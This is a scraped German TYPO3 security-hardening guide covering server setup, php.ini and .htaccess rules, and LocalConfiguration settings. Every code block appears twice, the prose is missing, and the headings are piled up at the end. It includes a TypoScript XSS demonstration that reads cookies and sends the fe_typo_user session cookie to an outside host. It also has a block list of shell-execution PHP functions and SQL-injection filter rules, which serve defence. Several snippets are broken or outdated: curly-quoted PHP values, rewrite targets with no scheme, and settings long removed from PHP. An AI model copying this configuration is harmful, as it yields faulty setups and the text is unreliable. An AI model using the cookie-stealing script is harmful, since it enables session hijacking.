30 Schritte zur Verbesserung Ihrer TYPO3-Sicherheit

mkdir my-site
cd my-site
mkdir my-site
cd my-site
ddev config --project-type php --php-version 7.4
ddev config --project-type php --php-version 7.4
ddev composer create typo3/cms-base-distribution ^10 --no-interaction
ddev config --project-type typo3
ddev start
ddev composer create typo3/cms-base-distribution ^10 --no-interaction
ddev config --project-type typo3
ddev start
touch public/FIRST_INSTALL
touch public/FIRST_INSTALL
"extra": {
    "typo3/cms": {
        "root-dir": "private",
        "web-dir": "public"
    }
}
"extra": {
    "typo3/cms": {
        "root-dir": "private",
        "web-dir": "public"
    }
}
ddev composer require helhum/typo3-secure-web
ddev composer require helhum/typo3-secure-web
git clone https://github.com/JavanXD/Typo3AccessChecker.git
cd Typo3AccessChecker
python3 -m pip install requests progressbar
git clone https://github.com/JavanXD/Typo3AccessChecker.git
cd Typo3AccessChecker
python3 -m pip install requests progressbar
python3 check_axxess.py https://typo3.org checklist.txt`
python3 check_axxess.py https://typo3.org checklist.txt`
python3 check_axxess.py https://typo3.org checklist.txt --proxy localhost:8080
python3 check_axxess.py https://typo3.org checklist.txt --proxy localhost:8080
python3 check_axxess.py -h
python3 check_axxess.py -h
composer config repositories.security git https://github.com/typo3-initiatives/security
composer require typo3/cms-security
composer config repositories.security git https://github.com/typo3-initiatives/security
composer require typo3/cms-security
# TYPO3 Install Tool Configuration
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL'] = ‘2’;
# TYPO3 Install Tool Configuration
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL'] = ‘2’;
# Define constantan for baseURL & Absolute URI prefix
domain {
	#cat = site_default/website/domain/01; type=string; label=Domain name for Base URL: 
	baseURL = 

	#cat = site_default/website/domain/02; type=string; label=Absolute URI prefix:
	absRefPrefix = 
}
# Define constantan for baseURL & Absolute URI prefix
domain {
	#cat = site_default/website/domain/01; type=string; label=Domain name for Base URL: 
	baseURL = 

	#cat = site_default/website/domain/02; type=string; label=Absolute URI prefix:
	absRefPrefix = 
}
# Set baseURL setting for http or https
config.baseURL = {$site_default.website.domain.baseURL}

[globalString = _SERVER|HTTPS=on]
	config.baseURL = {$site_default.website.domain.baseURL}
[global]
# Set baseURL setting for http or https
config.baseURL = {$site_default.website.domain.baseURL}

[globalString = _SERVER|HTTPS=on]
	config.baseURL = {$site_default.website.domain.baseURL}
[global]
RewriteCond %{HTTPS} on
RewriteCond %{REQUEST_URI} !^/?typo3
RewriteRule (.*) %{HTTP_HOST}%{REQUEST_URI} [R=301,L]
RewriteCond %{HTTPS} on
RewriteCond %{REQUEST_URI} !^/?typo3
RewriteRule (.*) %{HTTP_HOST}%{REQUEST_URI} [R=301,L]
RewriteCond %{HTTPS} off
RewriteCond %{REQUEST_URI} ^/?typo3
RewriteRule (.*) %{HTTP_HOST}%{REQUEST_URI} [R=301,L]
RewriteCond %{HTTPS} off
RewriteCond %{REQUEST_URI} ^/?typo3
RewriteRule (.*) %{HTTP_HOST}%{REQUEST_URI} [R=301,L]
<Directory /path/to/your/typo3/>
  Options FollowSymLinks
</Directory>
<Directory /path/to/your/typo3/>
  Options FollowSymLinks
</Directory>
<FilesMatch ".+\.html?$">
    AddType text/html     .html .htm
</FilesMatch>
<FilesMatch ".+\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.html?$">
    AddType text/html     .html .htm
</FilesMatch>
<FilesMatch ".+\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>
# Restrict PHP Information Leakage
expose_php=Off
# Restrict PHP Information Leakage
expose_php=Off
# Disabling Dangerous PHP Functions
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
# Disabling Dangerous PHP Functions
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
# Turn Off Remote Code Execution
allow_url_fopen = Off
allow_url_include = Off
# Turn Off Remote Code Execution
allow_url_fopen = Off
allow_url_include = Off
# Limit PHP Access To File System
open_basedir="/var/www/html/"
# Limit PHP Access To File System
open_basedir="/var/www/html/"
# Enable SQL Safe Mode
sql.safe_mode=On
magic_quotes_gpc=Off
# Enable SQL Safe Mode
sql.safe_mode=On
magic_quotes_gpc=Off
# Control POST Size
post_max_size=1024K
# Control POST Size
post_max_size=1024K
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey'] = 'encryptionKey';
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey'] = 'encryptionKey';
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieSecure'] = '1';
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieSecure'] = '1';
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = '0';
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = '0';
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '127.0.0.1';
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '127.0.0.1';
# tail -f /var/log/httpd/error_log
# grep 'login.php' /var/log/httpd/error_log
# egrep -i "denied|error|warn" /var/log/httpd/error_log
# tail -f /var/log/httpd/error_log
# grep 'login.php' /var/log/httpd/error_log
# egrep -i "denied|error|warn" /var/log/httpd/error_log
# tail -f /var/log/httpd/php_scripts_error.log
# grep "...etc/passwd" /var/log/httpd/php_scripts_error.log
# tail -f /var/log/httpd/php_scripts_error.log
# grep "...etc/passwd" /var/log/httpd/php_scripts_error.log
# Write Protect Apache, PHP, and, MySQL Configuration Files
chattr +i /etc/php.ini
chattr +i /etc/php.d/*
chattr +i /etc/my.ini
chattr +i /etc/httpd/conf/httpd.conf
chattr +i /etc/
# Write Protect Apache, PHP, and, MySQL Configuration Files
chattr +i /etc/php.ini
chattr +i /etc/php.d/*
chattr +i /etc/my.ini
chattr +i /etc/httpd/conf/httpd.conf
chattr +i /etc/
# Use Linux Security Extensions (such as SELinux)
# Use Linux Security Extensions (such as SELinux)
# Install Mod_security
## A few Examples ##
# Do not allow to open files in /etc/
SecFilter /etc/
# Install Mod_security
## A few Examples ##
# Do not allow to open files in /etc/
SecFilter /etc/
# Stop SQL injection
SecFilter "delete[[:space:]]+from"
SecFilter "select.+from"
# Stop SQL injection
SecFilter "delete[[:space:]]+from"
SecFilter "select.+from"
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern'] = 'youdomain.com';
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern'] = 'youdomain.com';
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr'] = ‘your@email.com’;
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode'] = ‘2’;
# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr'] = ‘your@email.com’;
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode'] = ‘2’;
page = PAGE
page.10 = CONTENT
page.10 {
  table = tt_content
  select {
    pidInList = 123
    where = deleted=0 AND uid=###PAGEID###
    markers {
        PAGEID.data = GP:pageid
    }
  }
}
page = PAGE
page.10 = CONTENT
page.10 {
  table = tt_content
  select {
    pidInList = 123
    where = deleted=0 AND uid=###PAGEID###
    markers {
        PAGEID.data = GP:pageid
    }
  }
}
page = PAGE
page.10 = COA
page.10 {
  10 = TEXT
  10.value (
    <h1>XSS: TypoScript</h1>
    <p>Cookie data submit to google.com!</p>
  )
  20 = TEXT
  20.value (
    <script type="text/javascript">
    document.write('<p>');
    // read cookies
    var i, key, data, cookies = document.cookie.split(";");
    var loc = window.location;
    for (i = 0; i < cookies.length; i++) {
      // separate key and value
      key = cookies[i].substr(0, cookies[i].indexOf("="));
      data = cookies[i].substr(cookies[i].indexOf("=") + 1);
      key = key.replace(/^\s+|\s+$/g,"");
      // show key and value
      document.write(unescape(key) + ': ' + unescape(data) + '<br />');
      // submit cookie data to another host
      if (key == 'fe_typo_user') {
        setTimeout(function() {
          loc = 'http://www.google.com/?q=' + loc.hostname ;
          window.location = loc + ':' + unescape(key) + ':' + unescape(data);
        }, 5000);
      }
    }
    document.write('</p>');
    </script>
  )
}
page = PAGE
page.10 = COA
page.10 {
  10 = TEXT
  10.value (
    <h1>XSS: TypoScript</h1>
    <p>Cookie data submit to google.com!</p>
  )
  20 = TEXT
  20.value (
    <script type="text/javascript">
    document.write('<p>');
    // read cookies
    var i, key, data, cookies = document.cookie.split(";");
    var loc = window.location;
    for (i = 0; i < cookies.length; i++) {
      // separate key and value
      key = cookies[i].substr(0, cookies[i].indexOf("="));
      data = cookies[i].substr(cookies[i].indexOf("=") + 1);
      key = key.replace(/^\s+|\s+$/g,"");
      // show key and value
      document.write(unescape(key) + ': ' + unescape(data) + '<br />');
      // submit cookie data to another host
      if (key == 'fe_typo_user') {
        setTimeout(function() {
          loc = 'http://www.google.com/?q=' + loc.hostname ;
          window.location = loc + ':' + unescape(key) + ':' + unescape(data);
        }, 5000);
      }
    }
    document.write('</p>');
    </script>
  )
}
<INCLUDE_TYPOSCRIPT: source="FILE:fileadmin/setup/myConfig.typoscript">
<INCLUDE_TYPOSCRIPT: source="FILE:fileadmin/setup/myConfig.typoscript">
<FilesMatch "\.typoscript">
  deny from all
</FilesMatch>
<FilesMatch "\.typoscript">
  deny from all
</FilesMatch>
page {
  includeJS {
    jQuery = https://code.jquery.com/jquery-1.11.3.min.js
    jQuery.external = 1
    jQuery.disableCompression = 1
    jQuery.excludeFromConcatenation = 1
    jQuery.integrity = sha256-7LkWEzqTdpEfELxcZZlS6wAx5Ff13zZ83lYO2/ujj7g=
  }
}
page {
  includeJS {
    jQuery = https://code.jquery.com/jquery-1.11.3.min.js
    jQuery.external = 1
    jQuery.disableCompression = 1
    jQuery.excludeFromConcatenation = 1
    jQuery.integrity = sha256-7LkWEzqTdpEfELxcZZlS6wAx5Ff13zZ83lYO2/ujj7g=
  }
}

Ordner</stark>	Beschreibung</stark>
öffentlich
privat	welcher typo3 core sysext, typo3conf ext, etc. enthält,
var	welche Cache, Log, Session, etc. enthält,
Anbieter	welches sowohl CMS als auch die Anbieter der Erweiterung enthält.

All in One TYPO3 AI Erweiterung

30 Schritte zur Verbesserung Ihrer TYPO3-Sicherheit

Wie kann ich mich für E-Mail-Aktualisierungen von TYPO3-Sicherheitsversionen anmelden?

Ist ein TYPO3 Sicherheits-RSS-Feed zu abonnieren?

Wie kann ich die Sicherheit meiner TYPO3-Erweiterung überprüfen?

Haben sie eine TYPO3-Sicherheitsrichtlinie?

Wie kann ich mich mit dem TYPO3-Sicherheitsteam verbinden?

Beliebtes EXT:be_secure_pw

be_secure_pw

108000+

ns_backup

200+

1. TYPO3 Kleinere Version aktualisieren

2. TYPO3-Hauptversion aktualisieren

3. TYPO3 LTS-Version aktualisieren

Wie Sie Ihr TYPO3-Update planen?

Benachrichtigung über neue Veröffentlichung

Bericht: Kompatibilität der TYPO3-Erweiterungen

ns_ext_compatibility

4000+

Wie kann ein sichereres TYPO3 CMS auf Server-Architektur

Eine Schritt-für-Schritt-Anleitung zur Einrichtung von TYPO3 Secure Web

Privatordner - Kein Zugriff mehr im Web

Öffentlicher Ordner - Nur Zugriff auf Assets im Web

TYPO3-Code-Qualität prüfen

SSL/HTTPS für TYPO3-Backend konfigurieren

Option 1: Verwendung von TYPO3

Option 2: Verwendung von .htaccess

SQL-Injektion

Externe Datei-Einbindung

Die Integrität von externen JavaScript-Dateien

Would you prefer a Ready-made template(s) or a Custom one for TYPO3?

Sanjay Chauhan

Wie erstellt man eine einseitige Website mit TYPO3?

So versetzen Sie Ihre TYPO3-Website in den Wartungs-/Offline-Modus

Post a Comment

You May Also Like

Alles über TYPO3-Backend-Zugriff, Benutzerrollen & Berechtigungen

TYPO3 Backend Login Setup-Anleitung

Kurzanleitung zur Erhöhung der TYPO3-Sicherheit